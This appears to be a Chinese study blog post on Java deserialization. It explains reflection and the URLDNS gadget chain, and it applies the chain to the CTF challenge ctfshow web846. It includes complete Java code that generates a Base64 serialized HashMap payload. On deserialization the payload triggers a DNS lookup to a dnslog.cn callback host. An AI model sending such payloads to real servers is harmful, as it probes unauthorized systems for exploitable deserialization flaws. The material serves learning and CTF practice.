Java反序列化之反射和URLDNS

前言

学习视频从这里开始看:

快捷键

这里有几个快捷键,可以记忆一下。
比如说查看结构:alt+7
image.png
查看层次结构:ctrl + H
image.png

URLDNS 链子构建

代码分析

URL有继承Serializable就证明他是可以被序列化的:
image.png
而且需要使用一个较为常见的函数hashCode:
image.png
调用了handler的hashCode函数,
image.png
其中的getHostAddress就会对域名进行解析,然后就可以利用。
dnslog生成一个网址来测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {

static String tarURL = "http://qdgj5w.dnslog.cn";

public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL(tarURL);
hashMap.put(url, 1);
serialize(hashMap);
}
}

正常来说当运行 main 函数时不会访问URL,但实际上运行的结果是会访问URL的。
image.png
为什么呢,因为HashMap的put方法中就已经调用了hashCode函数:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

其中的hash():

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

hashCode会被初始化设定为-1.
image.png
如果在put方法中执行一次,导致其不再是-1,就无法进入后面的handler的hashCode。
image.png
这就会导致不执行handler的hashCode。
也就是:

1
2
3
4
5
设定 hashCode = -1

hashmap.put(url, 1);

hashcode = url的hashCode

无法在serialize中触发。
我们可以测试一下在发序列化中是否触发:

1
2
3
4
5
6
7
8
9
10
11
12
class Deserialize {
static String filename = "ser.bin";
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
deserialize(filename);
}
}

运行之后并没有收到请求。
image.png
也就是说我们目前的问题就变成了:

1
2
3
4
5
6
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
URL url = new URL(tarURL);
hashMap.put(url, 1);
// * 在这里将hashCode改回-1
serialize(hashMap);

其中这里将hashCode改回1就用到了反射,那反射是什么呢?

正射和反射

要想知道什么是反射,那就要先了解什么是正射:

1
2
Player boogipop = new Player();
boogipop.playGame("GENSHIN");

也就是先实例化对象,然后对对象进行操作。
而反射与正射不同,比如你并不知道原来所实例化的对象是什么。

1
2
3
4
5
Class class1 = boogipop.getClass();
Method method1 = class1.getMethod("playGame", String.class);
Constructor constructor = class1.getConstructor();
Object object = constructor.newInstance();
method1.invoke(object, "GENSHIN");

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class ReflectionTest {
public static void main(String[] args) {
Person person = new Person();
Class c = person.getClass();
// * 反射就是对Class进行操作
// * 从抽象类Class中实例化对象
// c.newInstance();
// * 获取构造器 比如需要传入什么参数
Constructor constructor = c.getConstructor(String.class, int.class);
// * 传入参数,生成对象
Person person = (Person) constructor.newInstance("Boogipop", 6);
System.out.println(person);
// * 获取参数
Field[] personFields = c.getFields();
// * 获取所有参数 包括private protected等
Field[] personFields1 = c.getDeclaredFields();
for (Field f:personFields){
System.out.println(f);
}
// * 根据变量名获取
Field nameField = c.getField("name");
// * 允许访问
nameField.setAccessible(true);
nameField.set(person, "Berial");
System.out.println(person);
// * 调用方法
Method[] method = c.getMethods();
for (Method method1:method){
System.out.println(method1);
}
// * 获取方法
Method actionMethod = c.getMethod("playGame", String.class);
// * 执行方法
actionMethod.invoke(person, "GENSHIN");
}
}

修改代码

知道了反射,就可以使用反射修改其中的hashCode。
也就是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
// * 如果hashCode已经是-1了就不会发起请求
URL url = new URL(tarURL);
Class c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 随便赋值一个不是-1就行
hashCode.set(url, 1);
hashMap.put(url, 1);
// * 在这里将hashCode改回-1
hashCode.set(url, -1);
serialize(hashMap);
}

在反序列化之后我们才收到请求:
image.png
完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
// * 记得去掉后面的/
static String tarURL = "http://test";

public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
// * 如果hashCode已经是-1了就不会发起请求
URL url = new URL(tarURL);
Class c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 随便赋值一个不是-1就行
hashCode.set(url, 1);
hashMap.put(url, 1);
// * 在这里将hashCode改回-1
hashCode.set(url, -1);
serialize(hashMap);
}
}

class Deserialize {
static String filename = "ser.bin";
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
deserialize(filename);
}
}


测试

ctfshow web846

image.png
修改serialize代码:

1
2
3
4
5
6
7
8
public static void serialize(Object obj) throws IOException{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}

来方便查看输出的内容。
post传入输出的内容即可:
image.png